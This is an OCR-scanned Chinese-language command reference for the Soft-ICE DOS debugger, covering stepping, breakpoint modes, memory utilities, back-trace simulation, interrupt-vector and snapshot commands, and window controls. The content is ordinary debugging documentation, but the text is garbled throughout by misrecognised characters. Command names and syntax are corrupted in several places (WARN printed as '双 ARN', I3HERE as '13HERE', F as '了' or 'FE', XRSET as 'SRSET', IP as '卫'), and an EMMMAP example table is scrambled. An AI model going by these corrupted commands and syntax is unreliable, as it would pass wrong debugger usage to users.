若是 在 原始 码 模式 , T 命令 会 单 步 到 下 一 道 原始

码 叙述 。 如 果 目 前 的 人 氢 述 是 个 程序 或 呼叫 函数 且 呼 叫

的 程序 的 原始 码 存在 , T 命令 会 单 步 执行 进入 这 个 呼

叫 。 如 果 没 有 呼叫 的 程序 或 函数 的 原始 码 , T 命令 会

单 步 执行 完整 个 程序 。

[ 例 ]T = 1284 3

这 道 命令 会 单 步 执行 在 内 存 地 址 1284 的 3 道 程

序 码 。 .

P 一 一 单 步 执行 程序

语法 : P

解说 ;

P 命令 是 个 逻辑 的 程序 单 步 执行 。 除 非 目 前 CS:

IP 的 程序 码 是 呼叫 、 中 断 、 回 圈 或 反复 字符 串 , 不 然

将 执行 此 程序 码 。 若 为 呼叫 中断 等 程序 码 ,将 会 执行

完整 个 程序 或 反复 动作 才 会 回 到 Soft - ICE。

P 命令 会 设置 一 个 只 用 一 次 的 执行 断 点 。 除 非 所

有 的 断 点 暂 存 器 都 被

sticky 断 点 占 满 了 ,不然 non - sticky 断 点 会 使 用

80386 断 点 暂 存 器 。

在 这 种 状况 下 , 断 点 将 会 使 用 INT 3 方式 。 这 种

情形 下 ,在 ROM 中 C 或 了 命令 将 无 法 正常 工作 。 如 果

你 尝试 这 样 做 将 会 显示 出 错误 信息 。

若是 在 原始 码 模式 , P 命令 会 单 步 到 下 一 道 原始

码 叙 述 。 如 果 目 前 的 氢 述 是 个 程序 或 呼叫 函数 , P 命

令 会 把 它 整 个 执行 完 。

[ 例 ] P

这 道 命令 会 单 步 执行 程序 。

HERE 一 一 执行 到 目前 游标 那 行

语法 : HERE

解说 :

HERE 命令 会 一 直 执 行 到 目前 游标 所 在 那 行 。 只

有 当 游 标 在 程序 码 窗 中 才能 使 用 HERE 命令 。 如 果 程

序 码 窗 不 可 见 或 游标 不 在 其 中 ,用 G 命令 代替 。

HERE 命令 会 离开 Soft -ICE 视窗 并 设置 一 个 只

用 一 次 的 执行 断 点 。 此 外 , 所 有 的 sticky 断 点 也 会 被

启动 。

程序 将 由 目前 的 CS:IP 开始 执行 ,直到 执行 到 游

标 所 在 位 置 的 程序 码 、 使 用 了 叫 出 视窗 的 热 键 或 某

sticky 断 点 发 生 为 止 。

除非 所 有 的 断 点 暂 存 器 都 被 sticky 断 点 占 满 了 ,

不 然 non - sticky 中 断 点 会 使 用 80386 断 点 暂 存 器 。

在 这 种 状况 下 , 斯 点 将 会 使 用 INT 3 方式 。 这 种 情形

下 ,在 ROM 中 G 或 命令 将 无 法 正常 工作 。 如 果 你

尝试 这 样 做 将 会 显示 出 错误 信息 。

【 例 ] HERE

这 个 例子 在 目前 游标 所 在 设置 一 个 执行 断 点 , 然

后 离开 Soft - ICE 并 从 目前 的 CS: 卫 开始 执行 。

GENINT-- 一 强制 某 一 中 断

语法 : GENINT INT1 1 INT3 1 NMI 1 interrapt -

number

interrupt -~ number

解说 :

CENINT 命令 会 强制 发 生 某 一 中 断 。 当 Soft - ICE

和 另 一 个 软件 调试 器 共用 时 , 这 个 功能 可 以 用 来 把 控

制 权 交 给 另 一 个 调试 器 。 这 也 可 以 用 来 测试 中 斯 程

序 。GENINT 命令 会 模拟 执行 一 道 硬 件 中 断 或 INT 程

序 码 。 它 将 把 falg \CS 、 卫 的 值 推 人 堆 王 ,并 把 CS 、P

的 值 改 成 中 断 向 量 表 中 和 指定 的 interrupt - number

相对 的 进入 点 。

[ 例 ] GENINT NMI

这 道 命令 会 强制 发 生 一 个 无 法 屏蔽 的 中 断 。 如 果

Soft -ICE 和 CodeView 一 起 使 用 , 这 将 把 控制 权 交 回

CodeView。

EXIT 一 一 强制 离开 月 前 的 DOS 程序

语法 : EXIT [R] [D]

R 一 一 恢复 中 断 向 量 表

D 一 一 清除 所 有 断 点

解说 ;

EXIT 命令 藉 强 制 执行 INT 21lh 的 4Ch 功能 来 中

止 目前 程序 。 这 个 命令 只 有 在 DOS 处 于 可 以 接受 此

函数 呼叫 的 状态 下 才能 使 用 。 如 果 此 呼叫 是 由 目前 的

中 斯 函 式 呼叫 或 是 在 DOS 尚未 备 妥 时 , 系 统 的 行为

将 无 法 预期 。

使 用 R 参数 时 , 除了 中 断 向 量 表 外 , 不 会 做 任何

系统 重 设 的 动作 。 这 意味 著 BIOS 变数 、 视 讯 模 式 及 其

他 系统 层次 的 资料 并 不 会 被 还 原 。 使 用 R 参数 会 把

中 断 向 量 还 原 成 它们 最 后 一 次 储存 的 状态 。Soft - ICE

会 在 其 载 人 时 、 程 序 以 LDR。EXE 载 人 时 及 使 用

VECS $ 命令 时 储存 中 斯 向量。

[ 注 ] 依 照 下 列 步 又 来 重新 启动 由 LDR。EXE 载

人 的 程序 :

EXIT 有 R

LDR prog。 上 上 XE

EXIT 命令 会 把 中 断 向 量 表 还 原 成 程序 载 人 前 的

值 ,然后 回 到 命令 处 理 器 。 由 执行 LDR 并 加 上 。EXE

的 尾巴 可 以 把 程序 重新 载 人 而 不 需 重 载 符 号 及 原始

码 。 符 号 和 原始 码 会 保持 在 内 存 中 。

[注意 ]EXIT 命令 必须 小 心 使 用 。 因 为 Soft - ICE

可 以 在 任何 时 候 叫 出 , 可 能 会 有 DOS 不 能 接受 中 止

函数 呼叫 的 情形 发 生 。 而 且 EXIT 命令 也 不 会 重 置 程

序 的 状况 。 举 例 来 说 ,EXIT 命令 球 会 重 设 视讯 模式 。

如 果 你 的 程序 把 BIOS 和 硬件 放 在 特别 的 视讯 模式

00 到 FF 中 的 一 个 数字

中 ,使 用 EXIT 命令 后 仍 会 留 在 此 模式 中 。

[ 例 ] EXIT R

还 原 中 断 向 量 表 并 跳出 目前 的 程序 。 如 果 程 序 是

用 LDR. EXE 载 人 的 , 则 要 加 R 参数 。

BOOT- 载 人 系统 (保留 Soft -ICE )

语法 :BOOT

解说 :

BOOT 命令 会 重 置 系统 并 保留 Soft -ICE .BOOT

“可 以 用 来 对 载 人 程序 、D0OS 驱动 程序 及 非 DOS 的 作

业 系 统 做 调试 。

BOOT 是 以 ROM BIOS 的 19h 中 断 呼 叫 的 方

法 。 有 时 候 19h 中 断 可 能 无 法 工作 。 如 果 发 生 这 种 状

况 , 叫 出 Soft -ICE 并 使 用 HBOOT 命令 。

为 了 让 BOOT 正确 的 工作 ,Soft - ICE 必须 由

CONFIG。SYS 中 做 第 一 个 驱动 程式 载 人 。 这样 Soft -

ICE 才能 尽 可 能 的 还 原 系统 原始 状态 。

【 例 ] BOOT

这 道 命令 会 重新 载 人 系统 。S$oft -ICE 依然 保

留 。

HBOOT 一 一 硬件 系统 载 人 (完全 重 设 )

语法 : HBOOT

解说 :

HBOOT 命令 会 重 置 整 个 系统 。 在 重 置 的 过 程 中

Soft - ICE 不 会 保留 。 除 非 介面 卡 需要 重 开 电 源 才 能

重 置 否 则 HBOOT 就 够 用 了 。 在 这 种 罕有 的 状况 中 ,

你 必须 关 掉 电源 再 重新 打开 。

[ 例 ] HBOOT

这 道 命 令 会 重新 载 人 系统 。Soft - ICE 必须 要 重

新 载 人 。

六 、 调 试 模式 命令

命令 :

ACTION 一 一 设 定 断 点 发 生 后 的 动作

有 ARN 一 一 设 定 DOSZROM BIOS 重信 (re - en-

trancy) 警告 模式

BREAK 一 一 在 任何 时 候 中 断

13HERE- 一 把 INT 3 指向 Soft -ICE

ACTION 一 一 设 定 断 点 发 生 后 的 动作 ,

语法 : ACTION [INTI 1I INT3 | NMI | HERE |

int - number]

任何 可 用 的 中 断 号 码 (0-

FFb) 。 只 有 当 自己 的 断 点 处 理 程序 已 取代 原 中 断 向

量 时 才 可 使 用 。

int - number

解说 :

ACTION 命令 用 来 决定 当 断 点 条 件 成 立时 要 把

控制 权 交 给 谁 。 大 部 分 的 状况 都 是 INT3 或

HERE. INT3 是 在 Soft -ICE 和 其 他 调试 器 一 起 使 用

时 使 用 ;HERE 则 是 用 来 使 断 点 条 件 成 立时 回 到

Soft -ICE 。INT1 和 NMI 则 是 两 者 择 一 用 在 无 法 使 用

INT3 的 调试 器 时 。 例 如 : 使 用 CodeView 时 , ACTION

设 为 NMI 最 好 。

只 有 当 自 己 的 断 点 处 理 程序 已 取代 原 中 断 向 量

时 才 可 使 用 int -number 。

如 果 没 有 断 点 处 理 程序 而 使 用 int - number 将 会

发 生 错误 。 人 参阅 11. 2 以 取得 更 多 资讯 。

如 果 没 有 加 任何 参数 将 会 显示 目前 的 设 定 。

ACTION 的 内 定 值 是 HERE 。

[ 例 ] ACTION HERE

这 道 命令 设 定 当 断 点 条 件 成 立时 将 返回 Soft -

ICE 。

WARN 一 一 设 定 DOS/ROM BIOS 重信 (re - entrancy)

警告 模式

语法 : WARN [ON 1 OFF]

解说 ;

WARN 命令 是 用 来 让 Soft - ICE 和 会 使 用 DOS

或 ROM BIOS 的 调试 器 一 起 使 用 。 许 多 调试 器 使 用

DOS 和 ROM BIOS 来 做 屏幕 输出 和 读 取 按键 。 因 为

DOS 和 ROM BIOS 不 完全 能 重信 , 若 断 点 发 生 在 DOS

或 ROM BIOS 在 执行 时 , 调 试 器 可 能 无 法 正常 的 工

作 。

如 果 设 定 WARN ON 而 且 ACTION 不 是 HERE ,

在 真正 动作 发 生前 会 先 把 控制 权 交 给 Soft - ICE。 系

统 会 显示 目前 CS$: 了 并 让 你 决定 是 要 继续 或 是 回 到

Soft -ICE。 一 般 而 言 , 你 应 该 选择 回 到 Soft - ICE 以 继

续 调 试 。 只 有 在 你 确定 不 会 造成 DOS 或 ROM BIOS 重

人 时 才 可 选择 继续 。

在 Soft -ICE 和 DEBUG、SYMDEB 及 CodeView 一

起 使 用 时 应 该 把 叉 ARN 设 为 ON 。

如 果 未 加 参数 将 会 显示 目前 WARN 的 状态

WARN 的 内 定 值 是 OFF 。

[ 例 ] 双 ARN ON

这 道 命令 会 打开 DOSZROM BIOS 重 人 警告 模

BREAK 一 一 在 任何 时 候 中 断

语法 : BREAK [ON 1 OFF]

解说 ;

BREAK 命令 让 你 即使 在 关闭 中 断 的 状况 下 也 能

从 当 掉 的 系统 叫 出 Soft -ICE。 你 可 以 在 整个 调试 过

程 中 使 用 BREAK 模式 或 在 需要 时 开关 它 。

BREAK 模式 会 些微 的 降低 系统 的 效率 。 系 统 的

效率 虽 会 降低 , 但 却 可 以 跳出 当 掉 的 程序 。 即 使 效率

会 降低 , 若是 程序 随时 可 能 会 当 掉 , 使 用 者 还 是 可 能

会 一 直 使 用 BREAK 模式 。 不 像 其 他 也 可 以 随时 叫 出

的 调试 器 ,Soft - ICE 不 需要 外 加 的 开关 。 当 BREAK

为 ON 时 ,只 要 按 热 键 即 可 叫 出 Soft - ICE。

如 果 没 有 加 参数 将 会 显示 目前 BREAK 的 状态 。

BREAK 的 内 定 值 是 OFF 。

[ 例 ] BREAK ON

这 道 命令 会 打开 BREAK 模式 。 这 意味 著 即 使 关

闭 中 断 ,Soft -ICE 也 可 随时 叫 出 。

13HERE 一 一 把 INT 3 指向 Soft -ICE

语法 : 13HERE [ ON | OFTF]

解说 :

13HERE 命令 让 你 指定 所 有 的 INT 3h 均 会 叫 出

Soft -ICE 的 视窗 。 这 项 功能 在 你 想 让 程序 停 在 某 特

定位 置 时 很 有 用 。 要 使 用 这 项 功能 , 在 你 的 程序 码 中

你 想 停 下 来 的 位 置 加 上 INT 3 命令 。 当 INT 3 发 生 时

会 叫 出 Soft -ICE 视窗 。 这 时 候 , 你 可 以 使 用 R PP 命

令 来 改变 指令 指标 指向 INT 3 的 下 一 个 程序 码 ; 然后

你 可 以 继续 进行 调试 。 如 果 没 有 加 参数 将 会 显示 目前

13HERE 的 状态 。

13HERE 的 内 定 值 是 OFF 。

[ 例 ] 13HERE ON

这 道 命令 会 打开 13HERE 模式 。 在 这 的 后 的 所 有

INT 3 均 会 叫 出 Soft - ICE 视窗 。

七 公用 命令

命令 :

A-- 一 编译 程序 码

S 一 一 搜寻 资料

FE 一 一 将 资料 填 人 内 存

M-- 一 所 物资 料

C 一 一 比较 两 记忆 区 块

A 一 一 编译 程序 码

语法 : A [address]

解说 :

Soft -ICE 的 编译 器 允许 你 把 程序 码 直接 编译 进

内 存 中 。 这 个 编译 器 支持 基本 的 8086 程序 码 及

80186 .80286 真实 定 址 模式 的 扩充 。 但 是 运算 辅助 器

及 80386 的 特殊 程序 码 、 暂 存 器 定 址 模式 等 无 法 编

译 。

A 命令 会 进入 Soft - ICE 内 建 的 编译 器 。 每 行 前

会 显示 地 址 当 提 示 符 号 。 当 组 合 语言 的 程序 码 打 人 并

按 下 Enter 后 , 此 程序 码 会 编译 进 指定 地 址 的 内 存

中 。 程 序 码 必须 符合 标准 的 Ptel 模式 。 在 地 址 提示 符

号 下 按 Enter 会 离开 编译 模式 。

如 果 你 正 编译 的 内 存 范围 在 程序 码 窗 中 是 可 见

的 ,在 你 编译 时 程序 码 会 交互 变化 。

Soft - ICE 的 编译 器 支援 标准 的 8086 族 命令 , 不

过 有 些 加 强 ;

x* DB 命令 用 来 直接 定义 内 存 中 的 字 节 资料 。DB

命令 后 接 一 串 字 节 资料 或 /和 由 空白 、 逗 号 分 隔 的 字

符 串 。

火 RETF 代表 一 个 far retum 。

x WORD PTR 和 BYTE PTR 用 来 决定 资料 的 大

小 。 如 :

MOV BYTE PTR ES:[12341 ,1

x 使 用 FAR 和 NEAR 以 明确 的 指定 远程 或 近

程 的 跳 牙 或 呼叫 。 如 果 未 指定 FAR NEAR ,一 律 视 为

NEAR 。

类 参考 到 内 存 位 置 的 运算 域 必须 放 在 方 括号

中 。 如 : MOV AX,[1234] 。

[ 例 ] A CS:1234

这 道 命令 会 提示 你 输入 组 合 语言 码 并 从 CS;

1234 开始 编译 的 。 输 入 最 后 一 道 程 序 码 后 在 地 址 提

示 符 号 后 按 Enter 。

S 一 一 搜寻 资料

语法 : S$ address lebgth data - list

一 串 字 节 资料 或 以 逗号 、 空 白 分

隔 的 加 引号 字符 串 。 加 引号 的 字符 串 可 以 使 用 单 引号

或 双 引 号 。

length 一 一 字 节 长 度 。

解说 :

S 命令 会 在 内 存 中 搜寻 和 data - list 相同 的 字 节

或 字 元 。 搜 寻 的 动作 由 指定 的 address 开始 ,持续 搜寻

length 字 节 。 每 个 发 现 的 地 址 都 会 显示 出 来 。

[ 例 ]SDS:SI+10L CX :Hello ,12 ,34

这 道 命令 会 从 目前 的 资料 节 段 中 差距 地 址 为

SI+ 10 处 开始 搜寻 Helo 字 串 后 接 12h 、13h 的 资

料 。 搜 寻 会 持续 CX 字 节 才 停 止 。

一 一 将 资料 填 人 内 存

语法 :了 addqress L length data - list

data ~- list

二,

术 |

data -list 一 串 字 节 资 料 或 以 逗号 、 空 白 分

隔 的 加 引号 字符 串 。 加 引号 的 字符 串 可 以 使 用 单 引号

或 双 引 号 。

”length 一 字 节 长 度 。

解说 :

F 命令 会 用 指定 的 data - list 来 填 满 内 存 。 填 人

的 动作 会 从 指定 的 address 开始 并 持续 length 字 节 。

如 果 有 需要 会 重复 data - list 。

【 例 ] 了 8000:0 1 100 "Test'

这 道 命 令 会 从 8000:0000 开始 填 和 人 100h 字 节 的

Test 。Test 字符 串 会 一 直 重 复 直 到 填 完 指定 的 长 度 。

语法 : M start -address 直 length end - address

lengih 一 一 字 贡 长 度 。

解说 :

M 命令 会 从 指定 的 start - address 搬移 length 字

节 的 资料 到

end -address 。

[ 例 ] M 1000:0L 200 2000:0

这 道 命令 会 从 内 存 地 址 1000: 0000 处 搬移 200h

字 节 的 资料 到

2000:0000 处 。

C 一 一 比较 两 记忆 区 块

语法 : C addressl L length address2

length 一 一 字 节 长 度 。

解说 ;

C 命令 会 拿 addressl 处 length 字 节 大 小 的 内 存

区 也 和 address2 处 的 资料 做 比较 。 如 果 第 一 块 区 块 的

值 和 第 二 块 的 值 不 同时 会 显示 两 者 各 自 的 值 及 其 内

存 地 址 。

[ 例 ] C 5000:100 10 6000;100

这 道 命令 会 比较 从 内 存 地 址 5000: 100 开始 10h

字 节 的 内 存 区 块 和 从 6000:100 开始 10h 字 节 的 内 存

区 块 的 值 。

八 . 特 别 的 调试 命令

SHOW- 显示 在 history buffer 中 的 程序 码

TRACE 一 一 进入 模拟 跟踪 模式 (trace simulation)

XT 一 一 在 模拟 跟踪 模式 中 进行 单 步 执行

XP 一 一 在 模拟 跟踪 模式 中 进行 程序 单 步

XC 一 一 在 模拟 跟踪 模式 中 执行 到 某 地 址

XRSET 一 一 重 设 回溯 跟踪 缓冲 区 (back trace

buffter)

VECS 一 一 储存 /还 原 / 比 较 中 断 向 量

SNAP 一 一 拍 下 内 存 区 段 的 快照

EMMMAP- 显示 EMM 分 配 图

SHO 允 显示 在 history buffer 中 的 程序 码

语法 : SHOW [TB 1 start]

B 一 一 这 会 使 SHOW 命令 从 缓冲 区 中 最 早 的 程

序 码 开始 显示 。

start 一 一 从 缓冲 区 中 最 后 一 个 程序 码 〈 最 后 抓

人 的 程序 码 ) 的 前 多 少 程序 码 开始 显示 。

解说 :

SHOW 命令 会 显示 在 回溯 跟踪 缓冲 区 中 的 程序

码 。 如 果 有 程序 码 的 原始 码 , 会 以 混合 的 方式 显示 ; 否

则 只 显示 程序 码 。

SHOW 命令 可 以 用 上 、 下 、PageUp 、PageDown 等

键 来 卷 动 。 按 Ese 键 以 离开 SHOW 命令 。 在 每 道 程序

码 地 址 的 前 有 个 缓冲 区 记 和 人 号 码 。 这 个 号 码 表 示 你 多

深入 显示 缓冲 区 。 号 码 越 高 表示 你 在 缓冲 区 中 更 深 的

地 方 。

【 注 ] 在 使 用 SHOW 命令 的 前 必须 先 用 范围 回溯

跟踪 记录 程序 码 。 人 参阅 第 九 章 以 取得 更 多 有 关 范 围 回

溯 跟 踪 的 资讯 。

【建议 ] 把 程序 码 窗 设 为 可 见 并 在 其 中 显示 目前

回溯 跟踪 缓冲 区 的 真正 程序 码 区 段 是 很 有 用 的 。 以 此

比较 程序 码 和 真正 的 流程 时 较 不 会 为 跳 芭 和 呼叫 困 挑

在 TRACE 命令 后 接著 使 用 SHOW 命令 可 以 证

你 用 两 种 不 同 的 观点 来 看 在 回溯 跟踪 缓冲 区 中 的 程

序 码 。

[ 例 ] SHOW 40

这 道 命令 会 从 回溯 跟踪 缓冲 区 倒数 第 40 个 程序

码 开 始 显 示 。

TRACE 一 一 进入 模拟 跟踪 模式 (trace simulation)

语法 : TRACE [start] | TOFF]

siart 一 一 从 缓冲 区 中 最 后 一 个 程序 码 (最 后 抓 人

的 程序 码 ) 的 前 多 少 程序 码 开始 模拟 跟踪 。

OF 一 一 离开 模拟 跟踪 模式 。

解说 :

TRACE 命令 让 你 可 以 把 回溯 跟踪 缓冲 区 中 的 程

序 码 以 宛如 第 一 次 执行 的 情形 再 重播 一 次 。 你 必须 把

程序 码 窗 设 为 可 见 才能 使 用 模拟 跟踪 模式 。 进 人 模拟

跟踪 模式 后 , 你 可 以 使 用 XT 、XP 和 XG 命令 来 跟踪

缓冲 区 中 的 程序 码 。

输入 TRACE OFF 以 离开 模拟 跟踪 模式 。

未 加 人 参数 的 TRACE 命令 会 显示 目前 模拟 跟踪 模

式 是 ON 或 OFF 。

[ 注 ] 在 使 用 TRACE 命令 的 前 必须 先 用 范围 回 淹

跟踪 记录 程序 码 。 人 参阅 第 九 章 以 取得 更 多 有 关 范 围 回

淹 跟 踪 的 资讯 。

[建议 ] 在 程序 码 窗 设 为 可 见 的 状态 下 模拟 跟踪

模式 可 发 挥 最 大 功能 。 把 TRACE 命令 和 SHOW 命令

连接 使 用 是 很 有 用 的 。 这 会 同时 以 两 种 不 同 的 型 式 显

示 回 渊 跟踪 缓冲 区 中 的 程序 码 。

[ 例 ] TRACE 40

这 道 命令 会 从 回溯 跟踪 缓冲 区 倒数 第 40 个 程序

码 开 始 进 入 模拟 跟踪 模式 。 在 输入 TRACE OFF 命令

的 前 会 一 直 留 在 模拟 跟踪 模式 。

XT 一 一 在 模拟 跟踪 模式 中 进行 单 步 执行

语法 : XT [BR]

R 一 一 反 向 进行 单 步 执行 。

解说 :

XT 命令 会 单 步 执行 在 回溯 跟踪 缓冲 区 中 的 程

序 码 。 这 个 命令 的 行为 类 似 普 通

调试 中 的 T 。 要 注意 的 是 在 模拟 跟踪 模式 中 单 步

执行 不 会 改变 除了 CS 、 耻 外 的 暂 存 器 的 值 。

XT 命令 让 你 可 以 重播 回溯 跟踪 缓冲 区 中 的 程

序 码 。

[ 注 ] 在 使 用 XT 命令 的 前 必须 先进 入 模拟 跟踪

模式 。 参 阅 第 九 章 及 TRACE 命令 以 取得 更 多 有 关 范

围 回 溯 跟 踪 的 资讯 。

[建议 ] 如 果 你 常常 使 用 XT 命令 , 它 可 以 像 其 他

命令 一 样 设 个 功能 键 代 蔡 。

[ 例 ] XT

这 道 命令 会 在 模拟 跟踪 模式 中 单 步 执行 一 道 程

序 码 。

XP 一 一 在 模拟 跟踪 模式 中 进行 程序 单 步

语法 : XP

解说 :

XP 命令 会 在 回溯 跟踪 缓冲 区 中 进行 一 程序 单

步 。 这 个 命令 的 行为 类 似 普通 除 错 中 的 T 。 要 注意 的

是 除了 CS 、IP 外 的 暂 存 器 的 值 均 不 会 改变 。

XP 命令 让 你 可 以 重播 回 滑 跟踪 缓冲 区 中 的 程

序 码 。

[ 注 ] 在 使 用 XP 命令 的 前 必须 先进 入 模拟 跟踪

模式 。 参 阅 第 九 章 及 TRACE 命令 以 取得 更 多 有 关 范

围 回 溯 跟 踪 的 资讯 。

[建议 ] 如 果 你 常常 使 用 XP 命令 , 它 可 以 像 其 他

命令 一 样 设 个 功能 键 代 其 。

【 例 ] XP

这 道 命令 会 在 模拟 跟踪 模式 中 程序 单 步 一 道 程

序 码 。

XG 一 一 在 模拟 跟踪 模式 中 执行 到 某 地 址

语法 : XG [R] address

R 一 一 反 向 搜寻 地 址 。

address 回潮 跟踪 缓冲 区 中 和 欲 执行 到 的 地

赴 。

解说 :

XG 命令 会 把 程序 码 指标 移 到 回溯 跟踪 缓冲 区

中 指定 的 地 址 的 下 一 道 程 序 码 。

如 果 在 地 址 的 前 有 加 有 的话 会 把 程序 码 指标 移

到 指定 地 址 的 前 一 道 程序 码 。

address 必须 是 一 道 程序 码 叙述 的 第 一 字 节 。

XG 命令 的 行为 类 似 普 通 调试 中 的 G 。

[ 注 ] 在 使 用 XG 命令 的 前 必须 先进 入 模拟 跟踪

模式 。 人 参阅 第 九 章 及 TRACE 命令 以 取得 更 多 有 关 范

围 回溯 跟踪 的 资讯 。

[ 例 ] XG 273 :1030

这 道 命令 会 把 程序 码 指标 移 到 地 址 273:1030 的

后 一 道 命 令 。

XRSET- 重 设 回溯 跟踪 组 种 区 (back trace buffer)

语法 : XRSET

解说 :

XRSET 命令 会 重 设 回溯 跟踪 缓冲 区 。 如 果 在 回

漳 跟 踪 缓冲 区 中 有 你 不 想 要 的 程序 码 时 , 在 设 定 回 漳

范围 时 要 先 执行 这 个 命令 。

[ 例 ] SRSET

这 道 命令 会 重 设 回溯 跟踪 缓冲 区 。

VECS 一 储存 /还 原 / 比 较 中 断 向 量

语法 : VECS [CISIR]

C 一 一 比较 目前 的 中 断 向 量 表 和 储存 起 来 的

表 。

Ss 一 一 储存 目前 中 断 向 量 表 。

R 一 一 由 缓冲 区 中 还 原 中 断 向 量 表 。

解说 :

VECS 命令 允许 你 把 中 断 向 量 表 储 存 到 Soft -

ICE 中 的 内 建 缓冲 区 或 还 原 的 。 你 也 可 以 比较 真正 的

中 断 向 量 表 和 储存 起 来 的 表 并 显示 出 两 者 间 不 同 的

处 使 用 C 命令 比较 目前 的 中 断 向 量 表 和 储存 的 向 量

表 时 ,会 以 下 列 格 式 显 示 :

address old - vector new - vector

每 个 有 改变 的 中 断 向 量 均 会 显示 出 来 。

载 人 Soft - ICE 时 的 中 断 向 量 表 会 被 储存 起 来 。

当 程 序 以 LDR。EXE 载 人 时 也 会 自动 储存 向 量 表 。 只

有 一 份 中 断 向 量 表 会 被 储存 , 所 以 每 次 执行 VECS $

时 上 一 份 备 份 的 中 断 向 量 表 会 被 覆 写 掉 。

如 果 没 有 加 参数 则 会 显示 整个 中 断 向 量 表 。

[ 例 ] VECS C

这 道 命令 会 比较 真正 的 中 断 向 量 表 和 上 次 储存 在

Soft -ICE 内 建 缓冲 区 中 的 中 其 向量 表 。

SNAP 一 一 拍 下 内 存 区 段 的 快照

语法 : SNAP [C 1 $ 1 R] adqdressl address2

C 一 一 比较 缓冲 区 和 内 存 范 围 。

S$ 一 一 把 内 存 范围 存 到 缓冲 区 中 。

R 一 一 从 缓冲 区 还 原 内 存 范围 。

解说 :

SNAP 命令 会 拍 下 内 存 区 段 的 快照 以 供 稍 后 的

比较 用 。 用 $ 参数 会 把 一 记忆 体 范 围 备份 到 延伸 内 存

中 的 缓冲 区 里 。 使 用 C 参数 会 显示 延伸 内 存 中 缓冲

区 和 指定 的 地 址 范围 的 真实 内 存 间 不 同 的 处 。 加 上 BR

参数 则 会 把 延伸 内 存 中 的 缓冲 区 拷贝 到 主 内 存 中 的

地 址 范围 。

如 果 使 用 C 参数 来 比较 缓冲 区 和 地 址 范围 , 则

会 以 下 列 格式 输出 :

address old - data new - data

每 一 改变 的 字 节 都 会 显示 出 来 。

使 用 C 和 R 命令 时 通常 不 需 加 address 。 如 果 没

有 指定 address , 则 会 使 用 最 后 一 次 有 加 address 的

SNAP 命令 的 address 。

【 注 ] 要 使 用 SNAP 命令 你 必须 在 CONFIG。SYS

中 S -ICE。EXF 那 行 加 上 ZTRA XXXX 参数 。SNAP

命令 会 把 资料 储存 到 回溯 跟踪 缓冲 区 中 。 如 果 你 正在

使 用 回溯 跟踪 则 会 和 SNAP 起 冲突 。 如 果 你 在 回溯 跟

踪 缓 冲 区 中 有 程序 码 资料 时 使 用 SNAP S 命令 会 把 回

漳 跟 踪 资 讯 柳 写 掉 。 反 过 来 说 , 如 果 你 用 SNAP 命令

储存 一 区 段 然 后 又 打开 范围 回溯 跟踪 则 会 覆 写 掉

SNAP 的 缓冲 区 。

[ 例 ] SNAP S$ 2000:0 4000:0

这 道 命令 会 把 从 2000: 0 到 4000: 0 的 资料 区 段

存 到 Soft -ICE 的 回溯 追踪 缓冲 区 。

EMMMAP 一 一 显示 EMM 分 配 图

语法 : EMMMAP

解说 :

EMMMAP 命令 会 显示 EMM 内 存 中 每 一 个 可 取

得 的 page 及 目前 映射 到 的 page 。

【 注 ] 你 必须 启动 Soft -ICE 的 EMM 特性 才能 使

用 这 个 功能 。 参 阅 第 八 章 以 取得 更 多 有 关 启 动 EMM

能 力 的 资讯 。

[ 例 ] EMMMAP

这 会 以 下 列 的 格式 显示 目前 EMM 的 分 配 情形 :

Phby PageSeg addresHandle/Page

0O0DOOOFEFFF

01D4000001Z0000

02D8000001Z0001 c

03DC000001Z0002

在 这 个 范例 中 ,page 0 是 在 D000 上 且 没 有 映射 。

pgae 1 是 在 D400 ,handle 是 工 且 page 0 映射 到 此 。

page 2 是 在 D800 , handle 是 1 上 且 page 1 轴 射 到 此 。

page 3 是 在 DC00 ,handle 是 1 且 page 2 瞻 射 到 此 。

九 、 视 窗 命令

Soft -ICE 有 三 种 视窗 :和 暂 存 器 窗 、 资 料 窗 和 程序

码 窗 。 这 些 视窗 都 可 以 随时 切换 出 来 或 关闭 。 资 料 和

程序 码 窗 可 以 改变 其 大 小 ; 暂 存 器 窗 的 大 小 是 固定

的 。 视 窗 的 顺序 总 是 固定 不 变 。 从 屏幕 顶端 由 上 而 下

依次 是 暂 存 器 窗 、 资 料 窗 、 程 序 码 窗 。

命令 :

WR 一 一 切换 暂 存 器 窗

双 C 一 一 切换 / 设 定 程序 码 窗 的 大 小

VD 一 一 切换 / 设 定 资料 窗 的 大 小

EC 一 一 进入 /离开 程序 码 窗

。 一 一 定位 目前 的 程序 码

WR 一 一 切换 暂 存 器 窗

语法 : WR

解说 ;

关闭 暂 存 器 窗 。

暂 存 器 窗 会 显示 8086 暂 存 器 及 各 旗号 的 值 。

内 定 的 功能 键 : F2

鸡 C 一 一 切换 / 设 定 程 序 码 窗 的 大 小

语法 : 叉 C [window -~ size]

1 到 21 间 的 十 进位 数 。

window -size

解说 :

如 果 没 有 指定 window - size, 这 个 命令 会 切换 程

序 码 窗 。 如 果 程 序 码 窗 是 不 可 见 的 会 把 它 切 为 可 见 ;

若是 可 见 的 则 会 关闭 的 。

如 果 有 指定 window - size , 则 程序 码 窗 会 重 设 大

小 。 如 果 程 序 码 窗 本 来 是 不 可 见 的 则 会 以 指定 的 大 小

显示 。

[ 注 ] 如 果 你 想 把 游标 移 到 程序 码 窗 中 要 使 用 EC

命令 。 参 阅 EC 命令 的 解说 以 取得 更 多 资讯 。

[ 例 ]WC 12

如 果 程 序 码 窗 是 不 可 见 的 则 会 显示 一 个 12 行 大

小 的 程序 码 窗 。 如 果 程 序 码 窗 目 前 在 屏幕 上 , 它 的 大

小 会 重 设 为 12 行 。

WD 一 一 切换 / 设 定 资 料 窗 的 大 小

语法 : WD [window - size]

1 到 21 间 的 十 进位 数 。

window - size

解说 :

如 果 没 有 指定 window - size , 这 个 命令 会 切换 资

料 窗 。 如 果 资 料 窗 是 不 可 见 的 会 把 它 切 为 可 见 ; 若是

可 见 的 则 会 关闭 的 。

如 果 有 指定 window - size , 则 资料 窗 会 重 设 大

小 。 如 果 资 料 窗 本 来 是 不 可 见 的 则 会 以 指定 的 大 小 显

示 。

【 例 ]WD 1

如 果 资 料 窗 是 不 可 见 的 则 会 显示 一 个 工行 大 小

的 资料 窗 。 如 果 资 料 窗 目 前 在 屏幕 上 , 它 的 大 小 会 重

设 为 12 行 。

EC 一 一 进入 /离开 程序 但 窗

语法 : EC

解说 ;

EC 命令 会 使 游标 在 程序 码 窗 和 命令 窗 中 切换 。

